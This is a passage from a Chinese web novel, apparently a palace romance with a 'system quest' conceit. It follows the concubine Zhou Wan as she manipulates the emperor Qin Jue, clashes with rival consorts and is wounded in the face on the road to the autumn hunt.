我悄悄撇嘴,像什么样子也是在你的后宫被折腾的。
“脸色是不是很难看,没办法,虚弱的很,还要养好一阵呢。”
我挤进他的怀里,“一天天的,跑来跑去累死了。”
秦玦眯起眸子:“舌头不想要了?”
我做了个鬼脸。
皇后站在石桌前,有风翻动书页,哗啦哗啦的,她盯着一处,似在出神。
氛围诡异极了。
又尴尬又羞耻的。
我的脸在秦玦身上蹭了蹭,蹭得他也一身西瓜味。
“皇上,咱们回去吧。”
秦玦警告道:“别太放肆。”
我不依不饶,“我真累了,后背还疼着呢。”
他皱眉,轻轻将我往身上揽了揽,“那你还到处乱跑。”
“又不是我故意要来的。”我小声辩解。
秦玦看向皇后,“周妃不成体统,让她回自己宫里好好学学规矩吧。”
皇后欠了欠身子,“皇上拿主意就好。”
我开心地恨不得跳起来,营业结束,终于可以回去歇着啦!
秦玦从后面拽了我一下,“老实点!”
说完,他冷着脸率先走出去,我追上他,围着他笑嘻嘻。
“皇上,要不要去玉阳宫坐会儿啊?”
“不去。”
“为什么?昨天你就没来,一点都不想我的吗?”
“不想。”
“真的假的?”
他不搭理我,我拿出藏起来的西瓜,递到他唇边。
“皇上你尝尝,这个可甜了。”
秦玦看着西瓜上的一排牙印,最甜的尖儿已经被某人咬掉了,他嫌弃地推开,“滚!”
我:“你真不尝?那你绝对会后悔的。”
秦玦:“说了不尝……唔……你竟敢......”
浅红的瓜汁顺着他的唇角流下来,秦玦被呛到,捂着嘴咳嗽。
我得逞大笑,啃着瓜,“甜吧?”
姜令虞站在暗下来的天光下,听着逐渐远去的声音,转身走进了还未点灯的殿内。
“娘娘,周妃实在是太无法无天了!”
姜令虞斥道:“这样的话以后不要再说了。”
“娘娘都许久未见过皇上了,今天皇上才来多久啊,就被周妃哄走了。”
宫女愤愤。
姜令虞笑着摇头,“他本就是为着她才来的。”
一些多年前的记忆碎片重新拼凑而起。
姜令虞叹了口气,“哪怕进了宫,周妧也一点没变。”
而她无论如何也学不会那个样子。
那个轻率下贱的样子。
22. 用拒绝道德绑架完成任务
黄色外封的包裹堆满了桌子,有几袋被暴力撕开,碎片飘落的到处都是,屋子里弥漫着浓郁的让人无法呼吸的桂花甜腻味,万俟镜坐在地上,手里捏着一块桂花糖。
是京城里时兴了好一阵的那家,距离王府不过半炷香的车程。
王灼站在门口,“王爷,这段日子我们的人盯紧了乔云州,他那里风平浪静一切如旧,属下怀疑......她已经离开京城了。”
万俟镜笑了,“真让人失望啊。”
不知道说的是乔云州,她,还是万俟镜自己。
“要不,咱们去查查霓婉的底细?能和乔云州这样的人交往甚密,想来不会一点蛛丝马迹都留不下。”
糖渍糊在指尖上有些难受,万俟镜却捻的更紧,“你的意思是,她骗了我?”
王灼低头,“我只是担心......”
万俟镜空茫的眼睛落在他身上,自说自话,“像母亲那样。”
想起那段往事,王灼便一个字都不敢多说。
安静了许久,万俟镜的声音才又轻飘飘响起,散入黑夜中。
“罢了,拴住才不会跑的狗,留下也没用。”
外面响起淅淅沥沥的雨声,已经数不清是入秋后的第几场,只能感觉到不断加厚的衣服和与肌肤相贴的凉意。
当然,现在除外。
我的汗珠滴在秦玦身上,靠在他的胸膛喘息。
“皇后宫里的瓜好甜。”
秦玦:“......怎么还想着这个?”
“那我的嘴吃过的东西,它能忘了吗?”我哀怨地在他身上咬了一口。
秦玦脸上还有未消下去的红晕,他眨了眨眼,反应不过来般,“你想怎样?”
我又在咬过的位置亲了一下,“我想要瓜!”
秦玦的目光扫过,像是外面藏起的柔软而清澈的月光。
“宫里已经没有了,最后一批应该是给了太后和皇后。”
我将脸埋进他的颈下,在一片细腻的冷香之中摇头耍赖,不接受这个残酷的事实。
“你都没有吗?我去找你吃也行。”
他将我蹭到他身上的发丝拂开,“朕没有,朕不爱吃。”
我哼唧,“我爱吃,我想吃。”
他偏过头不理人,手盖在了雪白的耳廓,摆明不想和我纠缠。
“秦玦。”我试探的直呼他姓名。
他凶神恶煞地回头正好和我碰了个正着,我趁机亲了下他的鼻尖,看着他眼底跳动的小火苗在一息内熄灭。
“你是不是想掐住我的脖子低吼谁准你叫朕的名字或者翻身压在我身上说朕要了你的命?”
秦玦:“......”
“不,”他突然笑了一下,“我更想知道是你的嘴快还是你脑袋搬家的速度快。”
我靠进他的怀里,“我只当着你的面叫。”
“秦玦。”
他不应。
“秦玦。”
他依旧不应。
“秦玦。”我轻轻晃了晃他。
他喉中溢出声喟叹,略显不耐,“有事说事。”
“想吃瓜。”
秦玦:“......”
“......明天朕叫人出宫去买。”
“要甜的,”我补充,“顺便让他们去城西的那家糕饼铺给我捎点果子进来。”
“然后还有京城的桂花糖、卢记糖饼、半只烧鹅、杏脯......”
“对了,再去千梦醉买一坛梨花醉。”
秦玦脸上的困意陡然消失殆尽,“宫里有更好的酒。”
一道灼热的目光落在头顶,我打了个哈欠,睡过去前模模糊糊说了最后一句。
“我只喜欢喝那个。”
第二天一睁眼,一大堆东西就已经被送到了玉阳宫。
我脸还没洗完,挂着水珠,就慌里慌张地冲了出来。
“娘娘,这些是......”
管事的太监老老实实站在一边,还没来得及吹捧一下皇上的宠爱和上心,就被我亢奋地打断。
“都是给我的?”
果然,晚睡晚起,一天全是惊喜。
红枝围着小太监们手上的食盒蠢蠢欲动,她看着我,“娘娘......”
“行了,都放进去吧。”
省得再晚几分钟这里就要有人馋死了。
我挑出一些打发走红枝,一宫女走了进来,“娘娘,昭仪娘娘来了。”
昭仪?
这谁?我和她有交情吗?
系统:“她是宋竹年的妹妹,宋鹤年。”
红枝蹲在廊下嚼嚼嚼,我掰下半块糖饼,嚼嚼嚼。
“请她进来。”
这位宋昭仪和她哥哥倒真有几分相像,雅正自持,端丽秀美,倒像是这几年刚流行起来的大家闺秀炮灰女配。
“不请自来,望周妃娘娘不要见怪。”
来者是客,两手空空的除外。
我不得已披上文化人的羊皮,“不知道昭仪今天来,没怎么收拾,见笑了。”
“岂敢。”她随意扫了一眼地上掉落的饼渣,坐的离我不远不近。
“你见过皇后了吧。”
怎么?见她要收费吗?
“见过了。”
我撕下一口饼放进嘴里,更多碎屑洒在了身上,宋鹤年的眉也越皱越深。
“那你是怎么想的?”
什么怎么想的?你们这群人就是因为太闲,总是把一加一的问题扩展成零点四乘以五。
但你们一定不知道,人被逼急了什么都能做出来,数学题除外。
我无所谓答道:“皇上审美不错。”
宋鹤年一噎,恼怒道:“周妧,我在认真和你讲话!”
天老爷,我也是在认真地回答你的问题啊。
谁叫你的题目范围给的太大,那抓不住重点能怨我吗。
“昭仪,我不明白你的意思。”我叹道。
她深吸一口气,像是有人拿枪指着她的头逼她给傻子讲微积分一样绝望,但她还是咬牙讲下去了。
我也不得不咬着牙听了下去。
“门阀势力已成顽疴固疾,他们抱团独大,只在意家族兴衰,屡次阻挠皇上的改革,姜家依仗皇后却想着和那些空有虚衔爵位的世家站在同一战线,何其荒谬!”
“太后虽非皇上生母,却也尽心抚养皇上,劳苦功高,且太后的母族并不显赫,一切仰赖皇上,你怎能因一时的计较就站在了皇后的阵营之中!”
有人说的慷慨激昂,就有人听的满头黑线。
好小众的文字,我不明白我一个走妖妃路线的为毛要被逼着长出脑子。
我只是一条平平无奇的咸鱼。
但我明白了为什么秦玦不愿意常来后宫了。
毕竟没谁晚上想搂着同事睡觉。
等等,她哥不会和她一个样吧?!
那攻略他我可得额外收费啊。
我道:“可是皇后帮了我。”
当时你们都在看热闹。
她恨铁不成钢,“那不是帮你,她只是想和太后作对罢了!就算她帮了你,难道她没有所图吗?”
我睁大双眼,单纯地看着她,“你们没帮我也有所图啊。”
即便她的好心是假的,你们看热闹却是真的。
宋鹤年:“......”
她忍不住似的瞪了我一眼,“你就没有一点节操和骨气吗?”
如果不是想拿我当枪使,你们这群人什么时候在意过我的节操骨气。
给不了好处就直说,没道理神仙打架凡人买单吧。
我笑出了声,装作情意绵绵,故意恶心她。
“我有皇上就够了,毕竟你们这种得不到皇上欢心的,才需要找点其他东西证明自己的价值。”
都是千年的周扒皮,你还想跟我玩什么空手套白狼。
宋鹤年:“周家沦落至此,焉知不是世家在其中作祟,难道你忘了身在囹圄的父兄了吗!”
这......
非要哪壶不开提哪壶吗?
雪崩时没有一片雪花是无辜的。
你演的破防不像,我的破防不像演的。
宋鹤年头上的流苏钗环碰在一起,听的我一阵牙酸,我起身,“好了,昭仪的忧虑我已经知晓了,不过我确实和你不一样,我没有那么多时间可以忧国忧民,皇上还等着我一同用午膳呢,你请便吧。”
宋鹤年攥紧了手帕扭头就走。
狐媚惑主的玩意儿罢了,不堪大用。
恢复了位分的宠妃周氏倚坐在皇上逾制为她打造的华美步撵上,她发髻松散,有几缕甚至跑了出来散在风中,披肩懒懒散散地挂在肩上,已是秋天,她却只着一袭烟青色绣鸾鸟的薄纱裙,层叠的轻纱蔓延,她拨弄着金顶垂落的金红流苏,露出半截小臂。
来往的宫人打老远就规矩地低着头退到了宫道两旁,一眼不敢多看。
不是,大家能不能抬头看我一眼啊,我这么耀武扬威就是为了让你们羡慕嫉妒恨的。
你们低着头,不能羡慕嫉妒,那不就只剩下恨了吗。
算了,恨就恨吧,有总比没有强。
没有得到想象中那些艳羡的眼神,我用手帕盖住脸,一身丧气地被抬到了勤政殿外。
“就不能往里头走走吗?”我闷声道。
下面哗啦啦地跪倒了一片,我扯下脸上的帕子,从步撵上一跃而下。
绿柳眉毛都没抬一下地收回了想要扶我的手。
“呦,这不是周妃娘娘吗?”
暗含讥讽的声音自身后传来,一个明艳娇俏的女人在宫女太监的簇拥下走了过来。
我盯着她直到人慢慢悠悠走到眼前,嗯,还是被抬着有排面。
“呦,这位是?”
绿柳提醒,“娘娘,这是瑶婕妤。”
“婕妤啊,怪不得刚才没看见呢,我的眼里只能看见妃位以上的。”
“妃位”两个字被我咬的很重。
“你!”她一双美眸瞪得老大,“我可是有封号的!”
“我是妃位。”
“我可没有被打入过冷宫!”
“我是妃位。”
“我母家没有戴罪!”
“我、是、妃、位。”
瑶婕妤脸色铁青,“你除
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了妃位还有什么!”
我的手在镶金的步撵扶手上敲了敲,“有的确实不多,也就是皇上满满的爱而已。”
“周妧!”
“是周妃娘娘,”我纠正道,“这次就当你脑子不好使,本宫大发慈悲的不和区区婕妤计较,若是再有下次......”
我拉长语调,“本宫就禀了皇上,将你贬为美人,怎么样啊,瑶美人?”
有点恶心,叫她美人跟调戏她一样,而且美人可是我的专属称谓,要不改成瑶丑人得了。
丑人多作怪。
“你,你,你......”
她气得浑身哆嗦,连话都说不完整了。
这下好了,瑶婕妤直接变瑶结巴了。
我用眼神给她传达了两个字,就这?
然后转身,去找秦玦。
没办法,我周妧向来只打高端局。
在跨进勤政殿的后一秒,我抬起脸来,上面已经挂了两滴清泪,“皇上......”
我快步上前,挤开李居怀,滑跪着扑到秦玦身上。
中间碰倒了两尊花瓶,一座砚台和三本奏章。
李居怀抬头冷静了三秒,不动声色地收拾好一地狼藉,退到了比较远的地方。
秦玦的衣袖溅上了墨渍,他的身上有了几分危险的意味。
“皇上!”我将脸贴到他的腹部,指控道:“瑶婕妤欺负我了!”
刚追进来不知道发生了什么的瑶婕妤一把推开堵在眼前的李居怀,想滑跪却被人捷足先登抢占了位置,她顶着一张早已哭花的脸泪眼朦胧的跪在殿内正中央。
“皇上,周妃娘娘欺负臣妾,您要为臣妾做主啊!”
我悄悄抬眼,秦玦的脸已经完全冷了下来。
瑶婕妤继续垂泪道:“臣妾担心皇上的身子,特意给您炖了滋补的羊肉送来,谁知遇到了周妃娘娘,她上来对着臣妾就是一通羞辱。”
“同为侍奉皇上的姐妹,她身在妃位就可以不把臣妾等放在眼里了吗?臣妾对皇上那也是真心的啊!”
“周妃娘娘,”瑶婕妤看着那个赖在皇上怀里不肯出来的贱人,眼里嫉妒地都快喷出了火,“当着皇上的面,我们就好好分说分说!”
与将才的盛气凌人不同,皇上面前,那贱人竟敢摆出怯生生的姿态,还装模做样看了过来。
瑶婕妤更气了。
我:“婕妤说什么就是什么吧,皇上操劳国事,我们不要拿这点鸡毛蒜皮的小事烦他,婕妤心中有气,便冲我来吧,我......受着就是。”
瑶婕妤只觉得血气上涌,她死死将自己禁锢在原地才免得忍不住上前撕烂她那张表面楚楚可怜实则处处挑衅的脸。
皇上一定能识破她的奸计!
纵使安慰过自己,她仍忍不住为自己分辩:“皇上,不是这样的,明明是......”
“滚。”
手不经意间碰到了冰冷的金座,我低下头。
瑶婕妤:“可是皇上......”
“不要让朕说第二遍。”
瑶婕妤看着那个跪坐在龙椅之下躲在皇上阴影里偷笑的贱人,妩媚的脸扭曲了个彻底。
她趁秦玦转移视线的功夫,无声留下了一句话。
周妧,咱们走着瞧。
我像是看到了鬼一般,更害怕地抱住了秦玦的腿。
秦玦皱眉,“李居怀!”
李居怀面无表情站到瑶婕妤身旁,“瑶婕妤,请吧。”
确实,你走了,我瞧着呢。
看着她愤然的背影,我得意洋洋地——
“周妧。”
漆黑幽深的凤眸停留在了我身上,“是不是很有意思。”
我并没有被抓包的尴尬,哼了一声,狠狠地推了他一把,侧过脸躲开他的目光。
“一点也没有意思。”
“凭什么她有封号我没有,皇上一点也不爱人家!”
秦玦气笑了,“你还有脸倒打一耙。”
我故意将嘴撅得老高,“为什么就不能是她咎由自取呢!皇上信她不信我。”
他将我从地上拽起来,“你可信吗?”
我顺势坐在了他的腿上,“当然可信,她们都坏的很,我和她们可不一样,皇上向着我,我也向着皇上,只向着皇上。”
他好像没有发现我间接坐在了龙椅上,又或许不在意,只是道:
“说的比唱的都好听。”
我贴近他,让他可以透过我的眼底看见我的灵魂,全世界最会撒谎的灵魂。
一遍遍描摹他的模样。
“真的,我不骗皇上,我爱皇上。”
“鬼才信你。”秦玦嘁了一声,替我紧了紧披肩,又道:“想要什么封号?”
我伏在他的肩头,“想要盈字,盈月的盈。”
“玦是玉环有缺,我愿成为皇上的圆满。”
月满则亏,水满则溢,物极必反,盛极必衰。
秦玦,人生忌满,你该知道要推开我的。
最终,他还是点头,抚上我的后颈,“好,以后你就是盈妃了。”
可惜啊秦玦,这下,谁都救不了你了。
23. 用风波初显完成任务
我托腮坐在一边看着他换了件干净的暗红常服,这种颜色衬得他简直好看的不像话,在我的脑子还没转过弯的时候,熟练轻佻的哨声已经从嘴里冒了出来。
习惯真是个可怕的东西。
秦玦深深地望着我,冷笑,“进宫前没少吹吧,现在倒是委屈你了。”
我假装听不懂他的阴阳怪气,情真意切,“我只是单纯的喜欢吹口哨,你没听说过吗?京中有善口技者,那个人就是我。”
秦玦白了我一眼,绕了半圈坐在了离我最远的地方。
杀伤力可以忽略不计,更像是打情骂俏的嗔怪,颇有几分可爱的意味。
我单方面这么认为。
“皇上,您今天一大早就让人出宫去给我买东西了啊。”我追了过去紧挨着他坐下,“我就知道皇上对我最好了,这次我特意带过来给您也尝尝。”
话落,李居怀就立即和小太监一起将东西一样样摆在桌子上。
他的手骨肉匀称,纤长有力。
让人很有食欲,别误会,我是说对盘子里的食物。
从他的腕骨向上看去。
作为一个能跟着秦玦的贴心工具人,长得确实是挺赏心悦目。
我心花小放,细细打量他。
李居怀不动声色地加快了动作,低着头退了出去。
跑这么快干什么,不知道的还以为屋里有狼呢。
我哑然失笑,从他近乎落荒而逃的背影上收回视线,一偏头,正对上了秦玦的目光。
他眼眸一片冰冷,应该是目睹完了全过程。
确实有狼。
我老老实实的低下头,战术性喝——
嗯?不是水。
我咂摸了一下,哦,是乔云州亲手酿的酒,之前在千梦醉喝过几次,就那么几坛。
当时我喝的时候,他那眼神含羞带怯的,让我一度担心这里面是不是放了什么见不得人的东西。
他是真敢放,搞得我真不太敢喝。
乔云州和其他人不一样,他看我的眼神时常让我分不清他和变态。
我担心迟早有一天我会折在他的m属性大爆发加偏执的上面。
电影里这样的人通常都有邪功傍身,惹是惹不起,躲又躲不掉。
好在当我提出让他把自己酿酒的手艺发扬光大扩展生产规模我也可以小小入股的建议后,他黑着脸吐出了一个字。
滚。
对我来说简直是如听仙乐耳暂明。
好东西不能独享。
我斟满一杯双手执着端到秦玦面前,“皇上您尝尝,这就是千梦醉的梨花醉,我最喜欢的。”
秦玦看了我许久,还是接过这杯酒,花香酒香浮动,他扬起嘴角,好像带上了几分说不出的讥讽。
“果真是好酒。”
酒杯轻轻一晃便被平稳的置于桌面,酒盏内平静,没有半丝涟漪。
他的薄唇上一片干燥,滴酒未沾。
秦玦:“就是不知道是否真的担得起你的最喜欢。”
我盯着秦玦傻笑,好一阵后才开口,“只是闻闻酒味,皇上就醉了吗。”
秦玦倾身逼近我,将酒杯从我仿佛焊死的指关节中取出,我看着他潋滟又泛着冷光的眼眸,直到杯口抵住我的嘴唇才回神。
梨花再香也会腻。
我想起了某些更香气四溢的东西,就着他的手,将满杯饮尽。
秦玦的心情瞬间糟糕到了极点,他猛地掷出酒杯,酒液已尽,香气未散,令他恶心的味道不仅没有甩掉,反而在室间铺散。
一些被刻意忽视的痛楚像开闸的洪水般争先恐后涌现了出来,酸涩、惊悸、嫉妒、惴惴不安,胸腔的锐痛让他神志不清般觉得自己口鼻都无法呼吸。
他突然很想撕破这张可恶的膜,周越还在牢里,不用想都知道她出宫后会去哪里。
京城,除了周家,不还有个乔云州吗。
她回宫那天穿的裙子,上面的花纹藏着乔家的徽印。
“周妧......”他想说些什么。
我突然上前,将酒渡进他的口中,一滴不剩。
这么美味的东西,为什么要讨厌呢。
目的达到了,懒得听他想说什么。
无所谓吧,反正都要爱我。
他没料到我的动作,被呛地咳嗽了起来。
嗓子里火辣辣的,一路烧到胸口。
我遗憾道:“啧,这么一比,果真酒都没那么好喝了呢。”
秦玦弯着腰咳的厉害,整张脸铺上艳丽的薄红,“你!”
他深呼吸,“周妧,不要以为朕会一直惯着你,也不要以为耍些小把戏就能把朕玩弄于股掌间了,朕的底线,你碰不得。”
我点头。
他道:“既入了宫,前尘旧事一笔勾销,有的人,你不可再见,宫中有的是比这更好的酒,眼光放高点,别这么不入流。”
我乖巧点头。
他继续道:“朕......也不指望你全然尽到妃嫔的本分,但,若你肯,朕的意思是,若你能做的差不多......不会屈了你的。”
我又想笑了,这下我终于敢放心大胆的做任务了。
秦玦,你到底在跟谁说话呢。
这看似对我提要求的每一句实则更像是对他自己说的。
我从来就不认为我能够欺骗的了他,他是皇帝,只有他才能骗的了自己。
我要的,一直是他的心甘情愿。
宫外的最后一天,乔云州叫人送来了三件不同的裙子,我选择了最华丽昂贵的一件。
只有这件绣制的花纹下藏着与乔云州衣服上相似的图案。
应该是某种身份的象征。
由于奢华,乔云州笃定我会选。
由于奢华,我笃定秦玦能看见。
如果不是看到了衣服,秦玦又怎么狠得下心重罚我。
如果他没有动怒打我,我又怎么能逼他一点点让步。
不愧是近满分的好感值,乔云州,你对我可太有用了。
万俟镜是这样,秦玦也是这样。
秦玦的头微微扬着,看我时习惯垂眸俯视。
帝王最浓丽的颜色,是孤芳自赏。
我看着他流畅平直到完美的颈线,听到他说:
“宫中确实比较无趣,半个月后便是秋狩之日了,到时朕会带着你。”
还能这样?!
我兴奋的捧住他的脸猛亲了一大口,“皇上,终于要出去玩了吗,我太开心了,您应该早告诉我的,这样还能多赶制几件新衣服!”
秦玦擦去脸上的口水印,“轻一些。”
我发誓我不是变态,可是,这谁忍得住啊!!!!!!!
我控制不住的又亲了好几口,最后被忍无可忍的秦玦拽开。
他:“你居然还敢咬朕!”
我逼近他。
秦玦满脸戒备的向后躲,“干什么?”
我:“我心情好,奖励你,亲一下。”
秦玦:“......”
“这是奖励?你确定不是惩罚。”
我坦然:“当然,惩罚是亲十下,想要吗?”
我挠挠下巴,“让我想想先从哪里下嘴,鼻子?嘴巴?还是,脖子?”
秦玦没有躲闪,一言难尽地看着我。
我盯住他的大动脉,目露凶光,秦玦不高兴,伸手掩住。
“看什么看!”
我:“。”
你不会以为我在看你脖子吧。
我走神是因为,这个大动脉怎么那么白,呸,那么像个脖子。
我晃了晃他的胳膊,看着他笑,头顶像是开出了朵花。
秦玦目光不自然地飘忽:“你……开心吗?”
我揪住他的衣领,枕在他的胸前,“嗯,谢谢皇上带我出去玩。”
想象着我和秦玦同乘一辆马车,怀里抱着美人,和他一起赏着窗外的美景,累了就躺在美人的腿上,享受着皇帝级别的vvvvvip服务,那就是皇帝亲自服务。
虽然秦玦不一定会唱小曲,但我会啊。
唱歌这件事,敢开口就赢了。
要是路程够长,说不定还能玩点什么夜间小游戏。
别瞎想,我说的是下棋。
棋盘嘛,现成的,他脱了衣服不就是。
“路上一定很有意思。”
“您说是吧?”
“盈妃娘娘?娘娘?”
我的眼睛终于找到焦距,视线落在对面的人身上。
马车不小心轧到了石头上,一个颠簸,我俩屁股同时腾起,又同时落回坐垫。
“娘娘,您刚刚怎么了。”
我看着对面货真价实的美人,戚美人,面无表情道:“我在做梦。”
车帘掀起一角,外头艳阳高照,她局促道:“若不是妾的马车坏了,妾怎能与娘娘同乘一车。”
是啊,若不是我的脑子坏了,我怎么敢想与秦玦同乘一车。
我生无可恋道:“你说到哪了?”
戚美人红着脸,“妾说皇上真疼爱娘娘,您与皇上之间就隔着十辆马车。”
我:“......”
那怎么着,他非得把我扔月球上才算不爱我吗?
没有听到回复,她以为我在洋洋自得,更加放心大胆地说:“上次顶撞您的瑶婕妤就不一样了,她离皇上都快有二十辆了,妾就更不值一提了,是最末尾的,差着五十辆呢。”
戚美人抹泪,“要不是娘娘收留,我怕是要和那些宫女们挤在一起了。”
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我:“......”
上了这个车我的宏图大志破碎后就开始哀嚎我要美人,在嗓子喊哑前没想到爹的红枝解个手的功夫真横跨半个县的距离给我薅来了一个美人。
一个平平无奇、胆小如鼠、但货真价实的,美人。
草了,我要的可是秦玦啊秦玦!!!!
戚美人看着我越来越难看的脸色,怕的都快哭出来了,估计她这辈子都没离我这种“大官”这么近过。
四十辆马车的距离,是她这辈子都难以跨越的天堑。
从天上掉下来的大饼有时候和砖头没什么区别。
她:“娘......娘娘......”
被莫名叫了娘的我:“......怎么了?”
她哆哆嗦嗦,险些咬到舌头,“您、您无聊的话,要不妾给您解解闷。”
好主意,“你会干什么?”
戚美人老实道:“妾会拉胡琴。”
我:“啥是胡琴,算了,来一段吧。”
她让自己的贴身侍女送来了一把长得像二胡一样的乐器,拉开琴弓。
顿时,悲凉凄切的二胡声飘了出去,马吓的长嘶一声,惊了蹄子的步调,一阵激烈的晃动,我被晃的向前趴去,狠狠的磕在了戚美人的身上。
脸上隐隐约约泛起剧痛,耳边传来一声凌厉的尖叫。
我眼冒金星,不解的抬头,在看到戚美人的神色前率先入目的是滴血的琴弦。
啪嗒啪嗒的属于我的血珠爬到两根弦上汇成一股,滴落到我出门前精心挑选的宫装上。
手按在琴上,我撑起身子,脸颊被划拽的痛感瞬间变的强烈。
戚美人已经快被吓疯了,她尝试着将我扶起来,却一点力气都没有,
我捂着脸缓过劲儿,“镜子。”
突发这种事故,马车停了下来,绿柳跌跌撞撞地去请示皇后娘娘,红枝瞬间消失,模糊的影子一闪而过,我猜应该是去找御医了。
玉阳宫带出来的剩余的宫人慌作一团,没有一个人听到我的话。
我提高音量,“我说,镜子。”
除了早就吓傻的戚美人,所有人都跪了下来,没有一个人敢把镜子拿给我。
鸦雀无声的僵持了不知道多久。
聘婷的身影走到了眼前。
是皇后。
“盈妃,你怎么了?”
我抬头,看着眼前这个仿佛真正无瑕美玉一般的女人,“问错人了。”
粘腻的血糊满掌心,甚至顺着指缝流了出来,我依旧不松手,甚至露出了一个笑容。
“我不知道。”
向来温和的皇后愠怒,扫视了一圈,“你们是怎么伺候盈妃的!”
“盈妃的脸......”
我手腕发麻,捂在脸上的手指痉挛着微微颤抖,“我要见皇上。”
皇后脸上也涌出焦急之色,“秋猎在即,你这满脸鲜血,怕是......”
我低下头,“我要见皇上。”
皇后接过手帕,想要替我擦拭一下血迹却被躲开,无奈道:“让御医给你包扎一下吧,你这样,就算本宫同意,满朝大臣也不会愿意的。”
她解释:“此次天子出行,说是狩猎,实则是塞外三十六部联盟与中原的会盟,盈妃你懂事些......”
我一把推开了上前为我检查伤势的御医,用最快的速度跑了出去。
身上挂着的玉环乱晃,在冲向天子銮驾的路上,所有人都会瞬间成为移动的活靶子。
原来所谓的十车之距竟然这么远。
身后的风声被撕裂,我侧身,一支羽箭破空划过,击碎了我的玉环。
这是近卫的警告,若我再向前一步,下场便如同玉环。
我也跑不了了,前方的侍卫挡了过来,形成一道人墙,长刀闪着寒光,而后面,无数箭矢也已经被搭在箭上。
箭瞄准了我。
在这么大的阵仗中,我只等了半分钟,然后继续向前迈步。
数支能命中要害的羽箭射了出来,几柄长刀也即将迎面劈下。
我捂着脸上的伤口站在原地,静静看着那个仿佛到不了的那个地方。
要让你们失望了。
以色侍人者,可不是我。
我藏起眼中吓人的冷漠。
突然,光影穿梭,仿佛流星滑落,挡住了袭向我的所有武器。
一把长剑呈保护之势斜插在我身旁半步远的地方,剑身由于被灌输了太多内力还在轰鸣。
众人瞳孔震荡。
刃白斩星过,锋寒裂九州。
这是千年来天子的佩剑。
銮驾上金铃鸣动,两旁近侍撩开龙纹帷裳,那个人走了下来。
朝向我。
24. 用极限偷情完成任务
秦玦一步一步走了过来,所到之处锋利的刀剑雪片般全都收了回去,他不理会里三圈外三圈乌泱泱行礼的人,在中间孤立无援的女人身前站定。
她一只手捂着脸颊一只手垂在身侧捏着自己的衣摆,很乖地在原地等着,如果忽略那些从指缝间露出的深红。
仿佛无助又可怜。
秦玦知道她不是这样的,她虚伪狡猾,喜欢用一分的脆弱换取十分的好处。
可他的眼睛还是被这强烈的颜色刺痛,不只是眼睛,还有其他地方。
火星掉在秦玦肺腑,一下子窜了起来,他控制不住,说出的话反而覆上层冰。
“把手拿开。”
周妧手腕僵硬,掌心发颤,却依旧死死捂住,哪怕她疼的快要站不住。
“不。”
“周妧!”他气急,不管不顾掰开她的手。
一道狰狞的伤口暴露在众人的目光之中,足有存长,横亘在这位传说中宠冠六宫的盈妃娘娘的脸上。
翻开的皮肉还在向外留着汩汩鲜血,滴滴答答,顺着脖子没入衣间。
撕碎了所有的美好宁静。
所有人的心里都只有一个念头,她的脸算是毁了。
比这更可怖的伤口秦玦都见过,他见惯了血,这次却头晕目眩眼冒金星,他想伸手将裂开的伤口合住,又怕弄疼她,秦玦握拳,眉眼间一片冰冷。
“谁伤的?”
飞絮般的语气,听起来没什么重量。
四周噤若寒蝉,生怕和自己扯上一点关系。
长秋宫的侍卫隔开众人,皇后将戚美人带了过来。
她盈盈下拜,如实阐明情况:“皇上,当时盈妃和戚美人单独在马车里......”
秦玦的眸子不耐的眯了起来,“朕问,谁伤的?”
姜令虞:“是戚美人,不过,应是无心之失。”
秦玦冷笑,“如何无心,受人强迫还是遭到陷害?”
凤钗上垂落的流苏轻晃,姜令虞低头不去看那骇人的目光,“......都不是,但当时是盈妃想听胡琴这才惊了马......”
秦玦点头,“那便不算无心,来人,将戚氏带下去。”
“即刻仗杀。”
被吓傻的戚美人疯癫撕扯着自己的头发,喉咙呜噜呜噜的不知道在说什么,两个侍从很快将她架住拖了下去。
姜令虞想要求情,急迫出声:“皇上!”
秦玦道:“皇后疏于整顿后宫规矩,禁足反省,没朕的命令,不得随意外出走动。”
戚氏被拖拽着经过时,溅起的尘土扑了姜令虞满身,她伏拜在地,膝盖被棱角尖锐的石子硌出了血,“臣妾遵旨。”
姜令虞脸色苍白地起身,看着他扶周妧离去的背影,脑海中全是他最后看过来时,那一片的冰冷。
——
我甩开御医的药瓶,往秦玦身后躲,“我不要!别让他看我!”
秦玦青筋直跳,小心避开我的伤口将我往外拉,“胡闹什么!这么深的伤口不上药怎么能好!”
我缩在他的怀里,豆大的眼泪掉下来冲淡了血渍,“你就知道骂我!我的脸坏了,我再也不漂亮了,你是不是不想喜欢我了!”
秦玦抱着我,他拂开我的发丝,眼神流淌着我不愿称之为温柔的东西,显得他陌生又可怜。
“朕什么时候说过喜欢你,美死你得了。”
我安静了下来,在銮驾内所有人面前,躺在秦玦的腿上,闭上眼无声落泪。
“都退下吧。”
垂下的帷裳盖住了里面的叹息,李居怀关上了最外层的车门,透过层层缝隙看到了最后一幕。
冷漠的帝王此时满脸无奈,他拭去怀中人的泪水,俯身,轻轻吹在她受伤的颊侧。
一下又一下。
“还疼吗?”秦玦温声道,“没人看了,朕给你上药行吗?”
我问:“为什么罚皇后?”
他捡起药瓶,将帕子用水打湿擦拭伤口,然后再洗干净,擦拭,直到盆里的水变为血色,我的脸才差不多擦干净。
秦玦的动作很轻,极有耐心,我猜他这辈子都很少这么小心翼翼过,生怕弄痛我。
看着他如临大敌的模样,我真的一点也不疼。
因为,我早就贷款买了系统道具商店的强力止痛剂了。
这钱不得不花,哪怕是赊。
秦玦将药平铺在伤口上,声音喑哑,“你又为什么非要见朕,知不知道这样横冲直撞的有多危险,要是迟了片刻......”
我掩盖住绝望的神色,紧张地向他求证:“我的脸还会好吗?”
秦玦眼神闪躲,“朕给你找最好的药......”
“那会好吗?会痊愈吗?能不留疤吗?”
我拽着他的袖子追问。
“周妧......”他眼中的痛色几乎藏不住,“朕不在乎。”
我也不在乎,我又看不见,你脸上没疤就行。
如果你实在介意,那善解人意的我只能分分钟再赊一笔原地消失投入别人的怀抱,然后每隔三个月入宫偷看你痛不欲生。
当个白捡的笑话。
我垂下手,泪水浸湿了眼睫:“这么深的口子,肯定会留疤。”
我害怕地又想捂住脸,却被秦玦按住,动弹不得,他认真看着我,“周妧,长相不重要。”
大哥,你好歹考虑一下我的感受,你顶着这样的一张脸喂鸡汤,说服力在哪儿?
这他妈的谁能喝得下去?!
除了我,我喝,画的饼吃多了也会噎。
秦玦继续道:“你长得也没有美到绝无仅有的程度。”
我觉得止疼剂应该失效了,否则我怎么全身上下都这么不是滋味。
尤其是拳头,痒痒的,急需挥出去冷静冷静。
安慰的很好,下次别再安慰了。
